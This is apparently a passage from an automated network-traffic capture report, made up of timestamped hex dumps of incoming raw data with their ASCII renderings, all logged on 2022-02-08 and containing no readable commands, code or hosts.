49 e3 fa ef 7c 20 39 a7 6e 6a b6 40 8d 22 70 9a b8 e1 b3 5a b3 19 a1 e4 5c 92 01 ed d7 52 0b 66 9f 17 68 a5 5c d4 e3 e5 
fb df 28 26 c7 de 62 b1 20 3d 2a 7f 13 0b e9 bc 3b 1b 19 b6 07 cd 0c ba c4 0e 86 f0 01 48 ba 47 c5 b8 b0 6c c6 88 8c 50 
86 b0 47 e6 48 f8 12 95 8b 3b d1 dd 83 b9 ed c9 ab 7f a5 c1 29 43 b1 81 11 8b 7d c5 fe b7 41 f9 7c 7b 21 e6 b0 3b c0 da 
8c 07 4b 92 0b e0 a0 19 41 a5 cb da 82 66 8b e2 49 aa cd 2c 75 96 f1 64 f2 71 5a 2e b7 02 99 ed 74 28 a4 d0 48 14 2f 98 
d7 f3 9c 13 97 f4 6f 91 0b 76 f2 13 94 ea 6f 13 1f 
Data Ascii: MuT!|Ihr6=A9!\i47#Xkut+y(8P<x4I| 9nj@"pZ\Rfh\(&b =*;HGlPGH;)C}A|{!;KAfI,udqZ.t(H/ovo

2022-02-08 23:07:11 UTC 433 IN Data Raw: 97 6c 92 9c 3a 45 ae a0 69 0d 2e 67 23 cb 21 9e e2 08 69 1e 29 42 af 1a d0 83 6c 91 98 c3 8f 50 5b 00 04 1a 
9d 6e fd db 5e 26 e9 54 10 e0 36 93 2d dc 7c 04 ca 3f 3c 3d 0c 81 ea b6 ac 88 26 c2 2b 00 e9 67 a9 4a ae ec f2 bf 69 2f 
ce be 41 0e 86 aa 0b 99 61 49 49 a0 a3 8b 8a 63 1d 5b 01 c3 14 12 86 19 cf 93 cd 5e 0d 20 db 9e ce 1c da b6 ec 56 65 
51 0f 14 59 92 cd d7 9a 2c 18 5c 3a 20 51 1b e0 fa 93 d8 23 7b d8 9f e1 38 cd 5f 22 04 c9 77 3f 8f 81 b9 d0 96 43 7a 90 
9d 7f 49 5c 9f bd 75 57 29 6f fe 1f e7 b6 e7 dd 24 3c 1f d0 93 fa 34 cb cb c6 08 40 81 18 c2 59 43 db f1 65 83 93 fc 4e d7 
bb c0 72 ff 53 80 49 c3 e5 65 c6 8d 13 5f df 4f d0 d5 27 52 67 1e ac 1a 6f 35 c3 42 53 09 e8 ea 52 35 d4 ee 91 e0 17 2d 
52 c8 d1 dd 6e 4f 99 e1 ec 07 9d 6a a4 98 7a e9 2f d0 cd 
Data Ascii: l:Ei.g#!i)BlP[n^&T6-|?<=&+gJi/AaIIc[^ VeQY,\: Q#{8_"w?CzI\uW)o$<4@YCeNrSIe_O'Rgo5BSR5-RnOjz/

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 451 IN Data Raw: 4a 77 fd ed 4e 3f f6 c6 1b f9 35 05 e3 fd 83 c9 ab 7d 58 8e a8 c7 94 ce 8b f9 de 4e 50 d1 1a 0e d8 0a f9 4e d5 
36 72 06 5d e5 32 a6 96 26 7a a3 1d 6e cd 44 e6 e5 87 8c 6d ad 18 6b 9e 26 58 6c 7d ba 58 63 72 b5 22 a1 b1 76 e1 8b 
70 b5 22 48 7f ba a9 02 e0 5d 62 89 aa ea 85 5a 21 a0 3a bd fa 22 ac 3f 6f a0 38 b4 2f 8f cb 33 67 bd 3b 06 97 81 75 8b 
55 aa 4a a9 69 96 19 59 71 14 59 57 4d 5e c6 b0 ae a6 18 00 03 67 db be be e8 7b 86 35 a0 bd 1a 98 61 7e 93 d0 b6 45 
18 96 a7 f2 bf a3 26 29 ff 14 bb 61 f7 3f 0d 5e cb 03 5e d5 83 c5 dc 78 42 06 55 30 8d 3d 60 b2 56 7d d7 42 d4 3d ea 80 
62 ec c1 f7 5f d0 fd 75 a7 d6 4a 95 9b d3 00 22 7c 34 28 fa fa 72 1d 4c 2f 47 9f 97 ee f0 4c bc ba cd 70 80 38 35 76 02 f4 
b2 48 48 4b 55 a3 c3 03 83 9d 6d c2 40 14 25 15 79 5c 2d 
Data Ascii: JwN?5}XNPN6r]2&znDmk&Xl}Xcr"vp"H]bZ!:"?o8/3g;uUJiYqYWM^g{5a~E&)a?^^xBU0=`V}B=b_uJ"|4(rL/
GLp85vHHKUm@%y\-

2022-02-08 23:07:11 UTC 467 IN Data Raw: a0 9e b8 91 db 5f 7b 52 18 14 fc b5 bb 96 bc 12 6c 05 7f 99 22 92 98 3a 0a 18 54 47 00 33 f3 a8 c3 f0 b5 ab 
74 07 3f e3 70 8c d7 e3 fa 4c d2 68 ba 77 10 a4 f7 1c d2 67 34 97 9c e8 d3 14 1e 93 12 d7 dd 50 99 9f cd 7b 04 19 0e b8 
44 22 32 74 03 4c f0 b7 c0 c7 cc b7 e8 18 4e cc 2a db 8d 0f a1 93 9d 84 ef 1c 7a 07 c4 e2 fc c4 07 a2 c7 f8 cb e5 88 3a 
08 26 03 7a af c1 f8 b9 24 81 5f 5e d7 42 17 d1 30 dd 9c 9f b7 3a 3f 10 f9 bd d8 93 7b c7 1a 50 b8 04 ea 41 bc 83 0d aa 
7a 40 ce 69 f1 7c ce e2 bb fb 29 01 87 2d 4a 7a 44 ee cd 32 6f a8 ce fe 28 22 0c 3d eb a9 44 b2 0c 3a cf f2 ab dd 2c 31 20 
93 ea b1 c9 52 29 3a 81 9d 22 b5 cf 12 c5 2e 44 5c 52 c9 e7 d6 1a 06 28 50 52 00 14 86 f1 75 d7 45 b7 76 1b 02 5a b1 
d8 c1 12 89 5a 29 2f 49 e5 ce a4 ce 1f 61 43 55 d3 2e 80 
Data Ascii: _{Rl":TG3t?pLhwg4P{D"2tLN*z:&z$_^B0:?{PAz@i|)-JzD2o("=D:,1 R):".D\R(PRuEvZZ)/IaCU.

2022-02-08 23:07:11 UTC 469 IN Data Raw: 8e 9e 7c d4 ce bc be 63 64 f4 be e1 26 cf 82 dd 1a 73 4e 88 19 35 4d 3e ce 1e 4a 57 f2 22 00 8c d9 cc 68 b0 
e5 c8 ab 65 26 0b 68 4d b2 43 64 66 4b b2 a7 a5 18 3a ef 22 26 f9 da a5 d5 32 18 12 07 b4 50 17 8d fc 47 5f 81 d7 dc 9c 
42 14 94 87 6a c2 bf bf 03 fe 83 bb c0 34 40 78 03 1f 03 11 3f 23 49 ca 7f 2b 75 82 73 00 d6 77 b0 c3 9e 77 98 1a b5 df f1 
26 89 95 2a 0d 9e fc 16 31 9a 3f dc f2 59 fc f7 c0 2a c0 cb 80 21 fc 40 c8 be 1b db 43 f6 ac 3c e0 7d ec 3b 03 ff 70 b9 9e 
7d ee 3b 01 e1 ee 34 0e 6a a4 a3 e9 b9 ee 2c 0e 72 78 bc 9b e6 fa 2b 19 70 78 be 9b e4 f3 f6 b4 6f b3 d9 2f ed fb c2 df 
d1 74 62 dd 5e 3c 6b d9 d8 1f 56 e5 e4 23 1c 5b cf 69 82 68 4d 29 b9 55 fb fd 92 6b 91 c1 ae 21 6a ea 0b 48 56 d6 0f 8b 
9c 15 cc 48 b6 28 08 8b 75 6e 02 47 3e 72 c6 84 fd 
Data Ascii: |cd&sN5M>JW"he&hMCdfK:"&2PG_Bj4@x?#I+usww&*1?Y*!@C<};p};4j,rx+pxo/tb^<kV#[ihM)Uk!jHVH(unG>r

2022-02-08 23:07:11 UTC 481 IN Data Raw: 19 57 e5 fe ec 90 26 b5 6b 62 dc 3d 23 25 f5 3e d6 e2 36 75 41 11 cf 5d ce 9b 37 41 78 48 4e 88 bb 8b 8d 2d 
41 1d 96 9b 87 b8 dc 4b af 4c 94 c5 24 c7 90 c4 19 fb ac f8 9e b5 2d 38 b5 6f e8 fb 76 16 21 38 b5 d5 ae 76 63 17 89 48 
5f b2 73 de 44 05 a6 f6 8b 7c 6f 35 48 bf e0 7b 9e 91 c0 45 a2 34 47 0f 52 bf 07 0f 93 30 ff a9 30 fc be ae 0d c0 82 86 ea 
48 ca c9 c3 4b 3f 0e 00 02 b8 fc cb 69 3b 4a 00 a6 fa 01 87 54 31 29 48 d6 fd 5d 8f 31 58 17 4f ba 18 17 8e 38 f0 0b 09 70 
c0 21 f3 4d fc 1d cf 9b 93 78 0c 58 d3 43 ca ee 0b 68 97 8f 37 54 93 4c fd 97 50 8f d6 77 31 b3 ea 73 f2 75 29 b0 31 5f 8c 
89 0d 63 cc b2 a3 af 8a 27 9a 93 b6 6f 86 b9 73 52 ba 85 83 51 92 5c a8 6d f0 60 94 27 0b 4b 3f 46 37 77 3b 85 fd b4 f8 
46 d6 f2 93 7a ea b2 98 46 61 f2 9f dd e3 6e 1d 
Data Ascii: W&kb=#%>6uA]7AxHN-AKL$-8ov!8vcH_sD|o5H{E4GR00HK?i;JT1)H]1XO8p!MxXCh7TLPw1su)1_c'osRQ\m`'
K?F7w;FzFan

2022-02-08 23:07:11 UTC 495 IN Data Raw: 60 02 0c c3 49 8f cd 00 f7 3f 46 48 e3 b5 0e 46 c8 77 01 7a f4 fc 49 71 7f b6 ce 96 94 3d 88 95 22 f7 0f dd dc fd
82 1c 1f d5 13 97 bf c5 9c d9 79 df 4d 18 ba 55 07 df a9 d2 c5 31 d8 5f 04 f2 52 17 c3 e1 d9 d1 00 29 1a 12 8b d1 11 a2 
62 74 15 20 a9 b7 dc ab e9 7d e0 2c a3 df 2f 6f 01 24 6c ca 05 a6 96 03 cc 21 dc a1 5f a6 97 03 d0 2d 57 0f 5b 67 d8 e8 
b0 4f dc d4 b0 67 9f 56 f8 58 18 1c 5f bf fb 93 11 51 ba 42 d0 92 38 ba ec 2c 8e 31 a4 e1 05 7f 26 20 8e 3f 1d e2 3b b3 9f 
d7 fe 71 28 5d 7c 44 ed 96 ca 8d d1 40 77 d1 12 83 31 d2 a5 79 ba 72 b9 f2 f2 72 32 f0 c9 b4 72 d0 15 3f da c8 8e b5 1a 
57 88 76 91 1d 17 91 7a 96 5f 54 f1 dc 9f d6 b8 19 d4 56 73 92 9a de a0 eb f9 12 63 28 c5 c4 7c 74 06 07 40 f4 c9 3b 44 
be 76 dc a7 34 4a d9 28 7e fd 3e d3 f5 bd 3b 18 
Data Ascii: `I?FHFwzIq="yMU1_R)bt },/o$l!_-W[gOgVX_QB8,1& ?;q(]|D@w1yrr2r?Wvz_TVsc(|t@;Dv4J(~>;

2022-02-08 23:07:11 UTC 497 IN Data Raw: ee e6 4a 0f 65 da 4a 84 a5 c1 03 44 e2 c2 b5 61 ac 46 77 18 67 85 b4 db ec 25 bf f0 d9 25 83 cc 52 6d b8 47 
18 ab 87 7f da 68 0c 39 d9 df 70 b2 91 01 83 8d 53 c2 c0 75 90 75 53 fe d8 7d 78 56 19 be bb 15 e1 40 f5 a6 23 f7 18 2d 
83 da 61 ef 40 19 a2 64 08 17 89 1c 08 2b b5 97 42 ef 3e d1 41 58 a0 5e 09 58 2b 16 1f d3 63 1d 34 3d 86 de f7 7b 85 68 
50 f0 c5 6c 9b 7b 65 69 10 bb 7e 2a e8 78 c8 5e 63 30 16 46 5b f2 d5 cd 13 fa fe f5 bb c6 c2 7e fb 20 ca 46 39 e3 09 cd 
79 07 ca c9 bf 5d 5e 08 7c 9f 9d cb bf 6f 9e 40 f7 f0 79 c3 7c b8 d6 24 f7 33 9e 93 10 a0 15 d3 17 53 89 d3 9c 1b 47 4f a4 
d9 84 64 a5 71 b8 58 2e 31 5e c9 16 f3 9d 0a 3c 25 a1 36 00 ae e1 91 e7 4d 22 17 17 47 a4 e7 14 b7 b5 17 1e 9c da 4c 
22 a0 d5 43 2d af 5e 09 b2 48 bd 9f 39 00 92 14 79 2f 71 
Data Ascii: JeJDaFwg%%RmGh9pSuuS}xV@#-a@d+B>AX^X+c4={hPl{ei~*x^c0F[~ F9y]^|o@y|$3SGOdqX.1^
<%6M"GL"C-^H9y/q

2022-02-08 23:07:11 UTC 499 IN Data Raw: 83 aa c6 f1 7b 64 ed 0c ba a7 5d e9 31 07 57 62 7f d1 6c a3 be 12 e7 eb bc 52 c5 37 37 50 fe f1 bc f8 f4 6a 37 
b0 33 6b fb cd b4 a0 30 8d 97 23 18 5c bc fb 50 60 80 ff 93 aa 43 3c 50 81 b8 6e 6c bd 48 6d e7 fd 4f 86 e7 f2 cc 16 6c b2 
e3 f5 50 74 90 34 91 b7 1b 7c 8b cd d8 af 48 0e f3 5f 37 32 cf d4 7d b2 1c 5f 3b b1 ab 91 7b 39 70 5a 7f b9 97 99 ac 7a 54 
b1 7c 3a dc 6a bb b1 92 ea 58 b5 12 0d 99 76 d1 ce 12 3c 51 1d 99 74 d1 ce d9 d4 1a 0d 52 9e da 86 12 99 39 1e 12 96 
0a 22 d0 1d 42 60 cb de 81 a3 40 98 82 14 80 ab be d7 0b e3 fc fc c8 20 3f 77 8e 23 88 b7 bd 1f 4b 3c f5 5d 68 ff 36 9e 
e3 b9 35 29 23 8a 09 ea a8 c2 4b d1 6b 01 88 5a 2d 02 3f 9a 1e 3e fc 11 50 bc 17 93 2b 79 d4 50 e8 f2 9a 86 1b 9b 58 45 
90 61 cb 76 27 a9 40 3e f4 22 06 2f 43 e2 35 13 82 
Data Ascii: {d]1WblR77Pj73k0#\P`C<PnlHmOlPt4|H_72}_;{9pZzT|:jXv<QtR9"B`@ ?w#K<]h65)#KkZ-?>P+yPXEav'@
>"/C5

2022-02-08 23:07:11 UTC 501 IN Data Raw: 49 22 b8 b0 4c bd 84 8c 64 14 0f ca 75 a2 cb e1 cc 3d f7 dd e4 a2 7c 9d dd 81 c8 1d 56 c9 06 85 79 0b c5 fe 
bb c8 06 3d 30 8e 1e b6 fc 09 05 39 b4 0d f5 28 3b 45 fd 14 ed 1f b9 d7 2e 94 f1 e4 a5 d2 f2 52 09 28 34 ea 38 ea f7 5d 
ab 61 bf 55 80 3b ff 69 bc 7d fc de 54 f6 bc e6 77 43 c2 6d 3f 4b e9 29 7f 77 d5 02 5a 36 e9 3e 5e f5 26 fd 9d 36 d6 fe 16 
7e 49 19 e5 f5 01 ae 02 0e 8a ee 05 ed 16 ee 2e e7 57 d2 12 6c 1f c9 2e ba 18 8c ed 79 50 87 c6 63 11 bb fa 29 d1 93 ec 
02 a2 d2 d0 3e 29 9a cb 02 ff f2 8e c1 3c ba 85 ea 3f fb b9 d6 75 3b 32 9e 70 13 4a 91 fb 59 d5 76 30 d2 9f c1 d7 01 0b 
4a 97 2e e8 ba ab a5 a0 a3 20 ed 92 28 66 fc 25 f6 96 ed ae b8 12 ce 25 8c 22 44 dd 8f 92 88 f6 25 d3 b4 ca 21 10 7b 09 
e2 d3 8b 0a ca 2d 01 c6 a6 36 8a 80 ac 81 41 ab c6 bc 
Data Ascii: I"Ldu=|Vy=09(;E.R(48]aU;i}TwCm?K)wZ6>^&6~I.Wl.yPc)>)<?u;2pJYv0J. (f%%"D%!{-6A

2022-02-08 23:07:11 UTC 505 IN Data Raw: 81 57 f6 e0 44 1a 34 23 cf ea 32 a8 85 6c f1 2f cd da 5a df f1 5c 12 e5 7f 14 31 62 37 3d b7 24 02 8b 73 af 4a 
49 f4 e7 f9 8e c0 79 4a 0c 88 74 00 b3 6f 9f d8 a2 e4 d5 67 45 07 95 46 8e 3b 94 7a 58 48 29 b9 9b c3 89 8a dd c0 3f 4e 
2d c3 15 40 ee 00 d6 fd 47 8b ad ce 7b b7 91 f2 47 8b 2d 79 bf b8 99 e1 34 f6 56 57 e7 35 95 94 6c 77 af 57 ab b4 6c e3 
59 3f 22 61 95 b4 da 63 21 7d 51 18 12 41 6d 24 2e 7d 51 e8 a5 3d 72 db 8e c2 dc e7 b2 49 34 c4 39 07 ab 23 ca 8c ed 
3b 7d e1 e9 fb 72 ee 2a 38 5a 3e 01 d9 cd 02 3d 52 85 19 b6 14 86 ae 7a 10 45 b0 64 d3 86 3b 24 d3 55 13 e4 58 1d 0f 
6f 1e 05 b8 29 91 4d bd d9 80 c6 f5 d1 0e 06 f6 fa 6b 93 ca c6 ed db c6 48 a5 dc bf 8a 66 1f 7c 08 2e 12 36 bf c9 f9 bd f5 
56 1e 5e c9 80 dc e3 0a 43 9a e0 bd 95 15 a8 33 36 92 e0 
Data Ascii: WD4#2l/Z\1b7=$sJIyJtogEF;zXH)?N-@G{G-y4VW5lwWlY?"ac!}QAm$.}Q=rI49#;}r*8Z>=RzEd;$UXo)MkHf
|.6V^C36

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 507 IN Data Raw: 71 5a b7 42 b2 10 6c 69 1f aa 50 55 57 aa 7a 1b 94 69 b9 5b 5c 55 49 58 d7 13 43 94 81 10 05 97 36 0a 4d d8 
d1 41 8e 1b 12 07 84 ac c2 85 b0 ae 7e b8 8c 92 05 7b 4f 51 c6 b7 18 52 80 b4 af 2a ca 3b 48 d9 4d 71 c7 3e a6 f6 8d a9 
41 15 0a e1 48 9e 42 f1 c3 d0 cd 16 40 fb 5e d5 83 38 16 ee c9 bf f1 69 89 00 16 ea 4a b7 f9 ac 49 00 1b 27 e9 c8 90 6f 
eb 43 92 54 2d c8 dc 82 60 e1 1e 41 20 c3 c2 ca 88 c9 59 41 c0 0e 58 02 67 c5 93 3f 2f 0d b8 cb 12 31 84 8d 2e 86 44 cd 
e6 ba 0c c9 6d f2 93 2e ce 79 d3 29 5d e5 d3 26 52 ea 58 6e 55 61 12 f5 9e ea 58 46 4d 7e d3 06 62 ed 58 46 c1 c6 9b cd 
89 ff 10 85 bb 74 5e 16 90 fe 16 1d 12 b6 0c 36 27 2c 30 0a 61 2f 86 cc 21 24 ba e4 a0 6c fd 03 f3 af 3e c0 7c e7 b9 27 ff 
60 f1 2f b5 e7 16 dc fd a0 f1 97 3e 63 32 1c 76 77 78 
Data Ascii: qZBliPUWzi[\UIXC6MA~{OQR*;HMq>AHB@^8iJI'oCT-`A YAXg?/1.Dm.y)]&RXnUaXFM~bXFt^6',0a/!$l>|'
`/>c2vwx

2022-02-08 23:07:11 UTC 541 IN Data Raw: 15 bc 61 6b 29 80 ea 2b 2e 63 72 2b 21 6c f9 6d 2b db 5c fd a0 9b 73 1e 2b d3 69 95 63 19 e2 6d ad b3 ae af 
6e 04 68 84 cf 83 54 b8 44 cb dc 73 cf 33 12 ef 83 f1 d1 58 45 da 42 df 79 e6 c9 97 f1 35 42 6f 3f a3 0e ad fc 14 c8 86 01 
93 f4 ba 8a db 7c 21 01 23 b2 69 4d e1 71 de 8b ca 9e 59 b7 f6 15 11 3f 55 9e e9 f1 17 d2 2b 32 a0 14 00 eb 27 28 3c 60 
67 2f df f8 67 a4 99 f2 ab e3 aa 32 68 20 3a b9 28 0f d9 32 60 15 52 7a ea de 79 43 6a e2 45 c8 22 6a 96 e3 10 ea aa df 
9b a2 22 04 b0 89 a2 38 8c 02 ea b0 6f 29 f6 30 53 15 7d 78 db fe 56 6d 5b c2 6a e6 13 4a 99 cd 1d ca a5 f1 96 82 6d da 
90 02 51 e6 1b 4a d9 65 30 35 59 59 0c be 11 d1 87 95 61 51 bb a9 ea 19 33 3a c1 70 b3 06 fd fb fb 8e 66 d0 99 0e 5a ec 
12 46 d2 4f 39 1d 52 73 05 96 1a fb ae bd 56 7b 92 81 
Data Ascii: ak)+.cr+!lm+\s+icmnhTDs3XEBy5Bo?|!#iMqY?U+2'(<`g/g2h :(2`RzyCjE"j"8o)0S}xVm[jJmQJe05YYaQ
3:pfZFO9RsV{

2022-02-08 23:07:11 UTC 543 IN Data Raw: fc b4 5b 16 3f 77 13 12 75 e1 1f 58 f3 e5 9d 1e c0 52 46 57 06 bc 49 95 c5 89 5a 74 43 3d 31 37 0d bc 73 fb 
8a af 3b ff c0 39 37 7c f5 3c b4 cb 21 be 78 b2 0f 6d 03 71 cc ae c4 31 c6 69 8e bf c6 23 08 bb 41 69 a6 c7 8d 10 83 08 
3d d5 01 c0 2e 9f 97 cc e2 e6 b2 02 52 22 7e 7b 79 f8 34 fd 7d 7b 01 f8 9e cc c4 34 e7 e7 1c 1c 2e 64 29 19 fd d3 ed d5 
84 f8 32 9f 02 fc 19 db 2b c0 25 91 eb 80 1e ad 5d 62 35 39 fc 5e 09 73 07 1e c1 4f 2c 60 60 73 10 64 a3 a8 d3 a7 60 83 
a2 06 5c bf ea c5 76 ff d7 f9 4a 74 9f 7f c6 f3 d7 f9 c6 78 9f 77 5a 7c 5c b5 99 bf 9f fd 1f bb 10 b3 91 97 5a 34 76 64 12 b2 
7a e6 5a a4 30 61 bd 4f b7 2b 0a a8 54 00 57 97 68 3c dc dd ee 18 57 9d d5 24 9b db 9b e7 58 18 e1 24 9b db e2 a6 d3 
dd 02 a4 2b df b4 23 50 1d 77 e0 93 9e 30 d3 24 67 78 
Data Ascii: [?wuXRFWIZtC=17s;97|<!xmq1i#Ai=.R"~{y4}{4.d)2+%]b59^sO,``sd`\vJtxwZ|\Z4vdzZ0aO+TWh<W$X$+
#Pw0$gx

2022-02-08 23:07:11 UTC 549 IN Data Raw: 81 f9 86 65 83 5c 4a c8 80 da ba c2 b1 16 09 c9 72 b3 c5 7a 68 70 4f 32 6b 96 73 fe a8 55 f8 00 9b 99 3b c3 2f 
71 0b 41 e3 dd c0 e4 2f 71 c1 41 e3 5d c0 e4 2f f1 d3 41 e3 47 c1 e4 2f f1 c9 41 e3 d9 db e4 2f cd da a2 2c 7b 01 28 6c 
78 d2 00 6a dd 50 fa b9 6a b0 5f 3f 90 7b e8 e5 1a 3b eb 24 32 4b 27 5b 39 c4 e7 59 9c 46 1d 8a 12 8a 9a 81 98 c2 98 a9 
5c 32 9b 81 9c b8 d3 82 17 f8 d4 59 17 73 9c 5e 9c 39 07 95 17 73 ac 46 9c 39 1f 9d 17 73 a4 7e 95 e5 26 eb 17 71 ad 
ab 38 92 26 e3 11 62 1a 13 00 e5 54 97 c2 ad 66 bc a8 d3 5a 80 27 9b 61 0b 67 a0 5d bc f4 27 13 38 35 d7 02 70 38 fc 
52 0e 04 c0 d9 4e 3f fc 6e b0 b4 b4 70 3b 5c af fb 7d 44 63 b6 7f 87 a0 75 43 51 f7 eb 80 92 75 95 43 41 b6 56 0d d5 7d 
dd 45 de fb 95 43 e2 2d 09 df 21 ee 82 97 0a 65 c4 94 bc 97 
Data Ascii: e\JrzhpO2ksU;/qA/qA]/AG/A/,{(lxjPj_?{;$2K'[9YF\2Ys^9sF9s~&q8&bTfZ'ag]'85p8RN?np;\}DcuCQuCAV}EC-!e

2022-02-08 23:07:11 UTC 551 IN Data Raw: 61 03 45 6c a6 c2 b5 6e dc 05 76 ad 1f 8e de a7 d9 05 96 30 3e f6 dc f7 f7 8d 1b 34 34 4e 90 9c 37 8f ea 5b f4 
4c 29 d0 5c 46 ef 5b 14 d1 08 a8 9b 99 8f 4f 68 1b c7 80 a3 53 00 41 53 51 7a 86 90 92 b9 0d 38 98 7c 86 70 0f 9b 75 3a 
c8 52 0e fd 0b 91 cd 76 a3 92 0d 0c 64 51 ce cf ef f9 c4 0a 64 b1 53 ed 97 3e 1b 6a 70 cd 99 22 bf 06 d1 e5 7e f6 d3 9f b9 
35 10 5c 32 9d 1a 98 b9 d5 8d 7f 4a 9f 4a b6 02 18 ad 55 3e 1b e7 d2 d9 f8 a7 6d 3e 1b 6e db ff 33 be 50 b7 b4 59 a3 3c 
f4 5a 70 b7 be dd 97 44 94 c5 aa 78 a8 ef 70 bc 6b 2c 30 03 8c 97 eb cf ca e2 2a 0c 09 e6 ad eb ee 11 6e 28 2d 6a ac eb 
ee a9 27 43 ed 6a ac 0b 62 8d 1f c7 17 0a dd 14 f1 36 1e d7 32 34 3d 0c 48 f6 fe cf 8b 7d 56 c5 49 f6 1e 52 ae 45 d2 27 
21 8c 01 65 03 b0 c2 a6 c0 b2 e0 75 08 b0 9a b7 cb 
Data Ascii: aElnv0>44N7[L)\F[OhSASQz8|pu:RvdQdS>jp"~5\2JJU>m>n3PY<ZpDxpk,0*n(-j'Cjb624=H}VIRE'!eu

2022-02-08 23:07:11 UTC 553 IN Data Raw: 01 04 31 59 e6 f7 ba 19 e5 30 31 53 62 d7 c2 d8 2a 50 25 23 a1 10 26 e4 2a 5a a1 03 d1 d1 e9 84 36 22 62 cc 
b9 c5 99 84 73 8f 52 0f 3b 08 b5 fc b0 48 b6 3b 3b 02 31 dc c8 89 79 5b 2f 72 f2 1b 2c b5 79 51 ab 52 82 da e3 d5 65 29 
68 9d ea ce 93 d5 20 84 58 5e 68 03 bf ad e3 43 bc 6a 68 09 3b 8d 9b 82 73 0a 7c 79 f8 4a 7f be 73 00 f8 59 88 8b b0 de 
6f 78 3b 96 e0 9f c0 de 2a d5 0b 55 62 52 ec a6 e9 12 c7 69 62 58 40 8e 91 d3 08 09 76 28 83 49 5d e7 08 03 da 00 f3 07 
5d e7 10 c5 9e 24 d3 ed 57 6c 54 0a b4 50 57 40 33 b7 b4 cb 7b f0 53 80 b8 33 90 c8 fb 10 52 0b 38 ea d5 ec db 26 9b 2a 
1a e5 58 a1 52 62 bf 5a d9 22 94 89 52 68 13 6e a9 e3 5b e9 4e 10 d0 a9 4d c3 5b e3 ca 24 a8 98 0d e7 6b 5b 86 4f 68 
98 0d 07 e7 7f f6 4f 20 bd bc c8 c7 56 f4 4f 20 bd f6 64 fb 
Data Ascii: 1Y01Sb*P%#&*Z6"bsR;H;;1y[/r,yQRe)h X^hCjh;s|yJsYox;*UbRibX@v(I]]$WlTPW@3{S3R8&*XRbZ"Rhn[
NM[$k[OhO VO d

2022-02-08 23:07:11 UTC 555 IN Data Raw: 42 9c de 34 0a 5b 9c c4 0b 13 13 23 d0 11 39 e8 1c 64 33 63 52 b2 24 63 91 71 d4 a4 d8 39 5b 43 07 3b 71 
80 cb 4e 7b 0b 85 98 78 0f 46 5b 88 c8 0f 21 4f 0b cc e2 c4 a3 c6 21 4f eb 51 c6 ac 1b 96 0f e6 dc 71 47 61 3b a6 45 4a 
e0 6a 30 49 6b 24 fe 12 07 e7 3d 5a 90 00 e6 58 b9 d3 2a 2d a8 5c 64 eb ec 20 a7 28 6e 68 70 7b 26 af 32 8b 27 e7 bd 
6c f8 e5 97 a7 34 90 9d 2c 7a 46 33 2c b9 85 c3 eb f0 cd 4c 0c 23 cf 66 cf ef ba 6c 44 a1 6c f6 40 62 af 06 87 2b d5 c1 44 
e8 16 4a ec e2 d4 c1 a4 75 33 22 54 b2 fa 68 d3 55 3d 20 54 b2 e6 22 7f 69 2a 57 7c e2 64 99 8f 8e a7 5a c7 19 40 85 c5 
30 93 49 b0 21 1c 07 76 fd 60 c4 b5 7f 28 13 e6 37 ef 51 16 36 a7 de f1 e5 a5 f4 3a 29 d0 fe b1 67 06 38 b1 a4 c5 c8 76 
ed 8d 47 91 3a 8f 6d 52 f6 fa 67 d9 b8 2c 55 dc 7b ef a5 1b 
Data Ascii: B4[#9d3cR$cq9[C;qN{xF[!O!OQqGa;EJj0Ik$=ZX*-\d (nhp{&2'l4,zF3,L#flDl@b+DJu3"ThU= T"i*W|dZ
@0I!v`(7Q6:)g8vG:mRg,U{

2022-02-08 23:07:11 UTC 557 IN Data Raw: a7 ec 4f da a4 67 01 14 85 0b c2 d7 cd dc 25 d5 e4 0f e9 a0 f5 80 a7 66 e4 90 64 a5 66 d8 b3 f6 2e 1f f1 06 2f 
57 7e e1 e0 55 54 2a 2c 20 5e a1 62 f6 25 b5 a1 35 d5 72 e8 7d 5a 95 23 7f 70 56 ef 0a 7a dd a1 dc 1d c5 62 1f ed 02 2b 
65 2a c1 e8 a6 a1 69 e2 60 2a 21 75 87 c9 d1 b2 4e 83 56 55 99 cb d1 b2 52 c9 fa 69 9e bc f9 e2 d0 72 41 8e 13 b1 09 
19 f4 76 0b 30 27 ba 7e 21 a8 f4 b8 88 b8 37 7b 0a f0 e0 28 42 37 a2 d8 43 7f 6d 3f 41 55 a6 f3 34 5f 2d bd e2 cd 39 7e 
21 3d fe 37 69 b2 19 f8 6b 98 da 34 1e 92 51 7a c8 6c 49 b9 0b 9c 8e f0 71 5b 4d 33 b2 d0 e5 39 77 5b ad ae 90 b8 5d 69 
59 f2 da 8e 82 ba 5d 69 4d b8 76 b2 81 cd 75 39 cf 03 a2 55 0c c0 ea c2 eb 0b e8 eb 38 c7 9d fa b7 89 5b 3a a7 4a 98 b8 
ef 9d cb f0 28 df 3b f1 60 50 dc 36 62 7a 17 fa 17 70 9c 
Data Ascii: Og%fdf./W~UT*, ^b%5r}Z#pVzb+e*i`*!uNVURirAv0'~!7{(B7Cm?AU4_-9~!=7ik4QzlIq[M39w[]iY]iMvu9
U8[:J(;`P6bzp

2022-02-08 23:07:11 UTC 575 IN Data Raw: 07 98 a3 93 80 7f 20 18 c8 6c 0b 34 ff 50 37 bf 5f 17 d0 58 8d d4 13 d3 25 d7 94 58 6b 19 ab 7c a8 da 20 32 2f 
18 d7 48 fc db 14 8b 77 73 1e 48 fc 3d 51 87 c7 ee 92 44 45 95 41 87 86 56 ca cf 95 7d 41 c0 a9 41 07 c3 1f b9 8c 63 58 
5e 6b b1 9b 9d e0 19 98 1a 6b 57 56 18 4f 94 95 93 01 13 57 74 7b c0 94 b7 b8 4b 3c bd 7a c0 72 f2 b5 fb a1 31 76 79 da 
e2 b5 ba 19 69 fd a9 32 a7 f2 95 0e e1 f1 22 c7 9a 37 e1 04 59 1d 76 c6 9a de 72 81 7d 35 a0 42 be f6 63 81 7d de b0 c9 
3a 39 5b 1b f9 fa 67 18 b3 bd 80 f3 61 7e 43 b3 1e 99 a8 61 dd 5a 7b df 01 21 a8 1c c2 e2 23 b4 c1 21 a8 fa 86 e6 93 29 
45 25 18 89 0a c2 f3 5b c9 01 f6 9c 02 c2 de 98 06 85 39 73 d4 46 fa b0 17 85 39 98 c4 cd 7e 7f 2f 1f bd bc 13 1c f7 fb f4 
f7 25 38 37 b5 5a df dc 67 99 1c f7 a7 5a df 49 55 
